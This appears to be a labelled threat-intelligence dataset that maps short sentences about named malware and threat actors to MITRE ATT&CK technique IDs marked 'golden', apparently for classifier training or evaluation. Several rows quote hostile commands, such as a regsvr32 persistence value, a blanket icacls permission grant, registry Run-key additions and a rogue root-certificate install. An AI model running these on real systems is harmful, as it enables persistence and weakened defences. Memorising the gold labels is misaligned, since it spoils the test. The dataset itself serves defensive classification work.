Hi-Zor executes using regsvr32.exe called from the Registry Run Keys / Startup Folder persistence mechanism.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],golden
"Inception has ensured persistence at system boot by setting the value ""regsvr32 %path%\ctfmonrn.dll /s"".",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],golden
Mori can use `regsvr32.exe` for DLL execution.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],golden
"APT29 has used ""Rundll32.exe"" to execute payloads.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
"Bad Rabbit has used rundll32 to launch a malicious DLL as ""C:Windowsinfpub.dat"".",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
Bumblebee has used `rundll32` for execution of the loader component.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
"During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
EnvyScout has the ability to proxy execution of malicious files with Rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
FELIXROOT uses Rundll32 for executing the dropper program.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
Gamaredon Group malware has used rundll32 to launch additional malicious components.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
Kimsuky has used `rundll32.exe` to execute malicious scripts and malware on a victim's network.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
LazyScripter has used `rundll32.exe` to execute Koadic stagers.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
NativeZone has used rundll32 to execute a malicious DLL.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
"NotPetya uses ""rundll32.exe"" to install itself on remote systems when accessed via PsExec or ""wmic"".",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
SDBbot has used rundll32.exe to execute DLLs.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
SUNBURST used Rundll32 to execute payloads.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
The Winnti for Windows installer loads a DLL using rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
UNC2452 used Rundll32 to execute payloads.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
"Cobalt Group used the Ammyy Admin tool as well as TeamViewer for remote access, including to preserve remote access if a Cobalt Strike module was lost.",['T1219 - Remote Access Software'],golden
DarkVishnya used DameWare Mini Remote Control for lateral movement.,['T1219 - Remote Access Software'],golden
"GOLD SOUTHFIELD has used the cloud-based remote management and monitoring tool ""ConnectWise Control"" to deploy REvil.",['T1219 - Remote Access Software'],golden
Kimsuky has used a modified TeamViewer client as a command and control channel.,['T1219 - Remote Access Software'],golden
RTM has used a modified version of TeamViewer and Remote Utilities for remote access.,['T1219 - Remote Access Software'],golden
TrickBot uses vncDll module to remote control the victim machine.,['T1219 - Remote Access Software'],golden
Confucius has used a weaponized Microsoft Word document with an embedded RTF exploit.,['T1221 - Template Injection'],golden
Lazarus Group has used DOCX files to retrieve a malicious document template/DOTM file.,['T1221 - Template Injection'],golden
"Ryuk can launch ""icacls <path> /grant Everyone:F /T /C /Q"" to delete every access-based restrictions on files and directories.",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],golden
"XCSSET uses the ""chmod +x"" command to grant executable permissions to the malicious file.","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",golden
APT33 has used kill dates in their malware to guardrail execution.,['T1480 - Execution Guardrails'],golden
PowerPunch can use the volume serial number from a target host to generate a unique XOR key for the next stage payload.,['T1480.001 - Environmental Keying'],golden
"APT29 used the ""Get-AcceptedDomain"" PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell. They also used AdFind to enumerate domains and to discover trust between federated domains.",['T1482 - Domain Trust Discovery'],golden
AdFind can gather information about organizational units (OUs) and domain trusts from Active Directory.,['T1482 - Domain Trust Discovery'],golden
BloodHound has the ability to map domain trusts and identify misconfigurations for potential abuse.,['T1482 - Domain Trust Discovery'],golden
Egregor can modify the GPO to evade detection.,['T1484.001 - Domain Policy Modification: Group Policy Modification'],golden
Meteor can use group policy to push a scheduled task from the AD to all network machines.,['T1484.001 - Domain Policy Modification: Group Policy Modification'],golden
APT29 changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.,['T1484.002 - Domain Trust Modification'],golden
KillDisk deletes system files to make the OS unbootable. KillDisk also targets and deletes files with 35 different file extensions.,['T1485 - Data Destruction'],golden
Proxysvc can overwrite files indicated by the attacker before deleting them.,['T1485 - Data Destruction'],golden
WhisperGate can corrupt files by overwriting the first 1 MB with `0xcc` and appending random extensions.,['T1485 - Data Destruction'],golden
Xbash has destroyed Linux-based databases as part of its ransomware capabilities.,['T1485 - Data Destruction'],golden
APT41 used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user.,['T1486 - Data Encrypted for Impact'],golden
Babuk can use ChaCha8 and ECDH to encrypt data.,['T1486 - Data Encrypted for Impact'],golden
Bad Rabbit has encrypted files and disks using AES-128-CBC and RSA-2048.,['T1486 - Data Encrypted for Impact'],golden
DCSrv has encrypted drives using the core encryption mechanism from DiskCryptor.,['T1486 - Data Encrypted for Impact'],golden
"During C0015, the threat actors used Conti ransomware to encrypt a compromised network.",['T1486 - Data Encrypted for Impact'],golden
"ProLock can encrypt files on a compromised host with RC6, and encrypts the key with RSA-1024.",['T1486 - Data Encrypted for Impact'],golden
Ragnar Locker encrypts files on the local machine and mapped drives prior to displaying a note demanding a ransom.,['T1486 - Data Encrypted for Impact'],golden
"Seth-Locker can encrypt files on a targeted system, appending them with the suffix .seth.",['T1486 - Data Encrypted for Impact'],golden
Clop can kill several processes and services related to backups and security solutions.,['T1489 - Service Stop'],golden
Cuba has a hardcoded list of services and processes to terminate.,['T1489 - Service Stop'],golden
"EKANS stops database, data backup solution, antivirus, and ICS-related processes.",['T1489 - Service Stop'],golden
HotCroissant has the ability to stop services on the infected host.,['T1489 - Service Stop'],golden
"Ryuk has called ""kill.bat"" for stopping services, disabling services and killing processes.",['T1489 - Service Stop'],golden
SLOTHFULMEDIA has the capability to stop processes and services.,['T1489 - Service Stop'],golden
Diavol can delete shadow copies using the `IVssBackupComponents` COM object to call the `DeleteSnapshots` method.,['T1490 - Inhibit System Recovery'],golden
FIVEHANDS has the ability to delete volume shadow copies on compromised hosts.,['T1490 - Inhibit System Recovery'],golden
HermeticWiper can disable the VSS service on a compromised host using the service control manager.,['T1490 - Inhibit System Recovery'],golden
"Maze has attempted to delete the shadow volumes of infected machines, once before and once after the encryption process.",['T1490 - Inhibit System Recovery'],golden
"Olympic Destroyer uses the native Windows utilities ""vssadmin"", ""wbadmin"", and ""bcdedit"" to delete and disable operating system recovery features such as the Windows backup catalog and Windows Automatic Repair.",['T1490 - Inhibit System Recovery'],golden
Lazarus Group replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a Disk Structure Wipe.,['T1491.001 - Defacement: Internal Defacement'],golden
Meteor can change both the desktop wallpaper and the lock screen image to a custom image.,['T1491.001 - Defacement: Internal Defacement'],golden
Bonadan can download an additional module which has a cryptocurrency mining extension.,['T1496 - Resource Hijacking'],golden
"Bazar can attempt to overload sandbox analysis by sending 1550 calls to ""printf"".",['T1497 - Virtualization/Sandbox Evasion'],golden
Egregor has used multiple anti-analysis and anti-sandbox techniques to prevent automated analysis by sandboxes.,['T1497 - Virtualization/Sandbox Evasion'],golden
"Hancitor has used a macro to check that an ActiveDocument shape object in the lure message is present. If this object is not found, the macro will exit without downloading additional payloads.",['T1497 - Virtualization/Sandbox Evasion'],golden
RTM can detect if it is running within a sandbox or other virtualized analysis environment.,['T1497 - Virtualization/Sandbox Evasion'],golden
StoneDrill has used several anti-emulation techniques to prevent automated analysis by emulators or sandboxes.,['T1497 - Virtualization/Sandbox Evasion'],golden
Astaroth can check for Windows product ID's used by sandboxes and usernames and disk serial numbers associated with analyst environments.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
BLUELIGHT can check to see if the infected machine has VM tools running.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"CSPY Downloader can search loaded modules, PEB structure, file paths, Registry keys, and memory to determine if it is being debugged or running in a virtual environment.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"GravityRAT uses WMI to check the BIOS and manufacturer information for strings like ""VMWare"", ""Virtual"", and ""XEN"" and another WMI request to get the current temperature of the hardware to determine if it's a virtual machine environment.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
P8RAT can check the compromised host for processes associated with VMware or VirtualBox environments.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
SUNBURST checked the domain name of the compromised host to verify it was running in a real environment.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"Saint Bot has run several virtual machine and sandbox checks, including checking if `Sbiedll.dll` is present in a list of loaded modules, comparing the machine name to `HAL9TH` and the user name to `JohnDoe`, and checking the BIOS version for known virtual machine identifiers.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
Trojan.Karagany can detect commonly used and generic virtualization platforms based primarily on drivers and file paths.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
Bumblebee has the ability to set a hardcoded and randomized sleep interval.,['T1497.003 - Time Based Evasion'],golden
"GoldMax has set an execution trigger date and time, stored as an ASCII Unix/Epoch time value.",['T1497.003 - Time Based Evasion'],golden
GoldenSpy's installer has delayed installation of GoldenSpy for two hours after it reaches a victim system.,['T1497.003 - Time Based Evasion'],golden
"GuLoader has the ability to perform anti-debugging based on time checks, API calls, and CPUID.",['T1497.003 - Time Based Evasion'],golden
"Okrum's loader can detect presence of an emulator by using two calls to GetTickCount API, and checking whether the time has been accelerated.",['T1497.003 - Time Based Evasion'],golden
StrifeWater can modify its sleep time responses from the default of 20-22 seconds.,['T1497.003 - Time Based Evasion'],golden
Tomiris has the ability to sleep for at least nine minutes to evade sandbox-based analysis systems.,['T1497.003 - Time Based Evasion'],golden
Ursnif has used a 30 minute delay after execution to evade sandbox monitoring tools.,['T1497.003 - Time Based Evasion'],golden
"Lucifer can execute TCP, UDP,  and HTTP denial of service (DoS) attacks.",['T1498 - Network Denial of Service'],golden
"Dragonfly 2.0 commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.",['T1505.003 - Server Software Component: Web Shell'],golden
Fox Kitten has installed web shells on compromised hosts to maintain access.,['T1505.003 - Server Software Component: Web Shell'],golden
Magic Hound has used multiple web shells to gain execution.,['T1505.003 - Server Software Component: Web Shell'],golden
"Operation Wocao has used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement.",['T1505.003 - Server Software Component: Web Shell'],golden
SEASHARPEE is a Web shell.,['T1505.003 - Server Software Component: Web Shell'],golden
OwaAuth has been loaded onto Exchange servers and disguised as an ISAPI filter (owaauth.dll). The IIS w3wp.exe process then loads the malicious DLL.,['T1505.004 - IIS Components'],golden
BRONZE BUTLER has used tools to enumerate software installed on an infected host.,['T1518 - Software Discovery'],golden
Bundlore has the ability to enumerate what browser is being used as well as version information for Safari.,['T1518 - Software Discovery'],golden
Dyre has the ability to identify installed programs on a compromised host.,['T1518 - Software Discovery'],golden
"Mustang Panda has searched the victim system for the ""InstallUtil.exe"" program and its version.",['T1518 - Software Discovery'],golden
Orz can gather the victim's Internet Explorer version.,['T1518 - Software Discovery'],golden
SideCopy has collected browser information from a compromised host.,['T1518 - Software Discovery'],golden
Sidewinder has used tools to enumerate software installed on an infected host.,['T1518 - Software Discovery'],golden
A module in Prikormka collects information from the victim about installed anti-virus software.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
Bumblebee can identify specific analytical tools based on running processes.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
"CookieMiner has checked for the presence of ""Little Snitch"", macOS network monitoring and application firewall software, stopping and exiting if it is found.","['T1518.001 - Software Discovery: Security Software Discovery', 'T1562.004 - Impair Defenses: Disable or Modify System Firewall']",golden
MoleNet can use WMI commands to check the system for firewall and antivirus software.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
Mosquito's installer searches the Registry and system to see if specific antivirus tools are installed on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
Operation Wocao has used scripts to detect security software.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
SpicyOmelette can check for the presence of 29 different antivirus tools.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
StrongPity can identify if ESET or BitDefender antivirus are installed before dropping its payload.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
"XCSSET searches firewall configuration files located in ""/Library/Preferences/"" and uses ""csrutil status"" to determine if System Integrity Protection is enabled.",['T1518.001 - Software Discovery: Security Software Discovery'],golden
YAHOYAH checks for antimalware solution processes on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
build_downer has the ability to detect if the infected host is running an anti-virus process.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
ROADTools can enumerate Azure AD applications and service principals.,['T1526 - Cloud Service Discovery'],golden
HermeticWiper can initiate a system shutdown.,['T1529 - System Shutdown/Reboot'],golden
Lazarus Group has rebooted systems after destroying files and wiping the MBR on infected systems.,['T1529 - System Shutdown/Reboot'],golden
"Maze has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.",['T1529 - System Shutdown/Reboot'],golden
Olympic Destroyer will shut down the compromised system after it is done modifying system configuration settings.,['T1529 - System Shutdown/Reboot'],golden
Shamoon will reboot the infected system once the wiping functionality has been completed.,['T1529 - System Shutdown/Reboot'],golden
WhisperGate can shutdown a compromised host through execution of `ExitWindowsEx` with the `EXW_SHUTDOWN` flag.,['T1529 - System Shutdown/Reboot'],golden
Fox Kitten has obtained files from the victim's cloud storage instances.,['T1530 - Data from Cloud Storage Object'],golden
MegaCortex has changed user account passwords and logged users off the system.,['T1531 - Account Access Removal'],golden
Gamaredon Group has used an Outlook VBA module on infected systems to send phishing emails with malicious attachments to other employees within the organization.,['T1534 - Internal Spearphishing'],golden
"TajMahal has the ability to steal web session cookies from Internet Explorer, Netscape Navigator, FireFox and RealNetworks applications.",['T1539 - Steal Web Session Cookie'],golden
WhisperGate overwrites the MBR with a bootloader component that performs destructive wiping operations on hard drives and displays a fake ransom note when the host boots.,['T1542.003 - Bootkit'],golden
Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.,['T1543.001 - Create or Modify System Process: Launch Agent'],golden
Dacls can establish persistence via a LaunchAgent.,['T1543.001 - Create or Modify System Process: Launch Agent'],golden
"Green Lambert can create a Launch Agent with the `RunAtLoad` key-value pair set to ""true"", ensuring the `com.apple.GrowlHelper.plist` file runs every time a user logs in.",['T1543.001 - Create or Modify System Process: Launch Agent'],golden
Proton persists via Launch Agent.,['T1543.001 - Create or Modify System Process: Launch Agent'],golden
macOS.OSAMiner has placed a Stripped Payloads with a `plist` extension in the Launch Agent's folder.,['T1543.001 - Create or Modify System Process: Launch Agent'],golden
"TeamTNT has established persistence through the creation of a cryptocurrency mining system service using ""systemctl"".",['T1543.002 - Create or Modify System Process: SysV/Systemd Service'],golden
"Duqu creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.",['T1543.003 - Create or Modify System Process: Windows Service'],golden
"GreyEnergy chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.",['T1543.003 - Create or Modify System Process: Windows Service'],golden
Industroyer can use an arbitrary system service to load at system boot for persistence and replaces the ImagePath registry value of a Windows service with a new backdoor binary.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
KONNI has registered itself as a service using its export function.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
Kwampirs creates a new service named WmiApSrvEx to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
RainyDay can use services to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
Seasalt is capable of installing itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
StrongPity has created new services and modified existing services for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
Ursnif has registered itself as a system service in the Registry for automatic execution at system startup.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
Wiarp creates a backdoor through which remote attackers can create a service.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
ZeroT can add a new service to ensure PlugX persists on the system when delivered as another payload onto the system.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
zwShell has established persistence by adding itself as a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
"SDBbot has the ability to use application shimming for persistence if it detects it is running as admin on Windows XP or 7, by creating a shim database to patch services.exe.",['T1546.011 - Event Triggered Execution: Application Shimming'],golden
"APT28 has used COM hijacking for persistence by replacing the legitimate ""MMDeviceEnumerator"" object with a payload.",['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],golden
Amadey has changed the Startup folder to the one containing its executable by overwriting the registry keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
BadPatch establishes a foothold by adding a link to the malware executable in the startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Bisonal has added itself to the Registry key ""HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\"" for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"CORESHELL has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Carberp has maintained persistence by placing itself inside the current user's startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Chinoxy has established persistence via the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` registry key and by loading a dropper to `(%COMMON_ STARTUP%\\eoffice.exe)`.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
DarkComet adds several Registry entries to enable automatic execution at every system startup.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
DownPaper uses PowerShell to add a Registry Run key in order to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Dragonfly 2.0 added the registry value ntdll to the Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"During Operation Honeybee, the threat actors used batch files that allowed them to establish persistence by adding the following Registry key: `""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost"" /v COMSysApp /t REG_MULTI_SZ /d ""COMSysApp"" /f`.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Empire can modify the registry run keys ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"" and ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"" for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"GuLoader can establish persistence via the Registry under ""HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Hancitor  has added Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Helminth establishes persistence by creating a shortcut in the Start Menu folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Higaisa added a spoofed binary to the start-up folder for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Ixeshe can achieve persistence by adding itself to the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" Registry key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"LiteDuke can create persistence by adding a shortcut in the ""CurrentVersion\Run"" Registry key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Magic Hound malware has used Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Matryoshka can establish persistence by adding Registry Run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Metamorfo has configured persistence to the Registry ket ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run, Spotify =% APPDATA%\Spotify\Spotify.exe"" and used .LNK files in the startup folder to achieve persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
NanoCore creates a RunOnce key in the Registry to execute its VBS scripts each time the user logs on to the machine.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"One persistence mechanism used by CozyCar is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br>""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"" <br>""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"" <br>""HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" <br>""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run""",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
PoetRAT has added a registry key in the <RUN> hive for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"RTM tries to add a Registry Run key under the name ""Windows Update"" to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
RogueRobin created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Rover persists by creating a Registry entry in ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
SDBbot has the ability to add a value to the Registry Run key to establish persistence if it detects it is running with regular user privilege.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"ShimRat has installed a registry based start-up key ""HKCU\Software\microsoft\windows\CurrentVersion\Run"" to maintain persistence should other methods fail.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Some InnaputRAT variants establish persistence by modifying the Registry key ""HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Run:%appdata%\NeutralApp\NeutralApp.exe"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"StrongPity can use the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" Registry key for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
TAINTEDSCRIBE can copy itself into the current user’s Startup folder as “Narrator.exe” for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
TURNEDUP is capable of writing to a Registry Run key to establish.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
ThreatNeedle can be loaded into the Startup folder (`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrives.lnk`) as a Shortcut file for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Trojan.Karagany can create a link to itself in the Startup folder to automatically start itself upon system restart.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Vasport copies itself to disk and creates an associated run key Registry entry to establish.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Wizard Spider has established persistence via the Registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and a shortcut within the startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Flame can use Windows Authentication Packages for persistence.,['T1547.002 - Authentication Package'],golden
A Dipsind variant registers as a Winlogon Event Notify DLL to establish persistence.,['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],golden
"KeyBoy issues the command ""reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”"" to achieve persistence.",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],golden
"Empire can enumerate Security Support Providers (SSPs) as well as utilize PowerSploit's ""Install-SSP"" and ""Invoke-Mimikatz"" to install malicious SSPs and log authentication events.",['T1547.005 - Boot or Logon Autostart Execution: Security Support Provider'],golden
A version of KONNI drops a Windows shortcut on the victim’s machine to establish persistence.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
APT39 has modified LNK shortcuts.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
Astaroth's initial payload is a malicious .LNK file.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
Dragonfly 2.0 manipulated .lnk files to gather user credentials in conjunction with Forced Authentication.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
Exaramel for Linux can execute commands with high privileges via a specific binary with setuid functionality.,['T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid'],golden
Keydnap adds the setuid flag to a binary so it can easily elevate in the future.,['T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid'],golden
Earth Lusca has used the Fodhelper UAC bypass technique to gain elevated privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],golden
FinFisher performs UAC bypass.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],golden
Koadic has 2 methods for elevating integrity. It can bypass UAC through `eventvwr.exe` and `sdclt.exe`.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],golden
"APT29 used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling APT29 to access enterprise cloud applications and services.",['T1550 - Use Alternate Authentication Material'],golden
"UNC2452 used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling UNC2452 to access enterprise cloud applications and services.",['T1550 - Use Alternate Authentication Material'],golden
Empire can perform pass the hash attacks.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],golden
GALLIUM used dumped hashes to authenticate to other machines via pass the hash.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],golden
APT32 successfully gained remote access by using pass the ticket.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],golden
"BlackEnergy has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.",['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
Empire can use various modules to search for files containing passwords.,['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
Kimsuky has used tools that are capable of obtaining credentials from saved mail.,['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
Pysa has extracted credentials from the password database before encrypting the files.,['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
Agent Tesla has the ability to extract credentials from the Registry.,['T1552.002 - Unsecured Credentials: Credentials in Registry'],golden
Operation Wocao has used Mimikatz to dump certificates and private keys from the Windows certificate store.,['T1552.004 - Unsecured Credentials: Private Keys'],golden
UNC2452 obtained the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.,['T1552.004 - Unsecured Credentials: Private Keys'],golden
"CoinTicker downloads the EggShell mach-o binary using curl, which does not set the quarantine flag.",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],golden
AppleJeus has used a valid digital signature from Sectigo to appear legitimate.,['T1553.002 - Code Signing'],golden
BOOSTWRITE has been signed by a valid CA.,['T1553.002 - Code Signing'],golden
BackConfig has been signed with self signed digital certificates mimicking a legitimate software company.,['T1553.002 - Code Signing'],golden
Janicab used a valid AppleDeveloperID to sign the code to get past security restrictions.,['T1553.002 - Code Signing'],golden
Metamorfo has digitally signed executables using AVAST Software certificates.,['T1553.002 - Code Signing'],golden
Moses Staff has used signed drivers from an open source tool called DiskCryptor to evade detection.,['T1553.002 - Code Signing'],golden
"PipeMon, its installer, and tools are signed with stolen code-signing certificates.",['T1553.002 - Code Signing'],golden
Suckfly has used stolen certificates to sign its malware.,['T1553.002 - Code Signing'],golden
TA505 has signed payloads with code signing certificates from Thawte and Sectigo.,['T1553.002 - Code Signing'],golden
menuPass has resized and added data to the certificate table to enable the signing of modified files with legitimate signatures.,['T1553.002 - Code Signing'],golden
"Hikit uses ""certmgr.exe -add GlobalSign.cer -c -s -r localMachine Root"" and ""certmgr.exe -add GlobalSign.cer -c -s -r localMachineTrustedPublisher"" to install a self-generated certificate to the local trust store as a root CA and Trusted Publisher.",['T1553.004 - Subvert Trust Controls: Install Root Certificate'],golden
"Carberp's passw.plug plugin can gather account information from multiple instant messaging, email, and social media services, as well as FTP, VNC, and VPN clients.",['T1555 - Credentials from Password Stores'],golden
Evilnum can collect email credentials from victims.,['T1555 - Credentials from Password Stores'],golden
"Lokibot has stolen credentials from multiple applications and data sources including Windows OS credentials, email clients, FTP, and SFTP clients.",['T1555 - Credentials from Password Stores'],golden
"MuddyWater has performed credential dumping with LaZagne and other tools, including by dumping passwords saved in victim email.",['T1555 - Credentials from Password Stores'],golden
"CosmicDuke collects user credentials, including passwords, for various programs including Web browsers.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
Emotet has been observed dropping browser password grabber modules.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
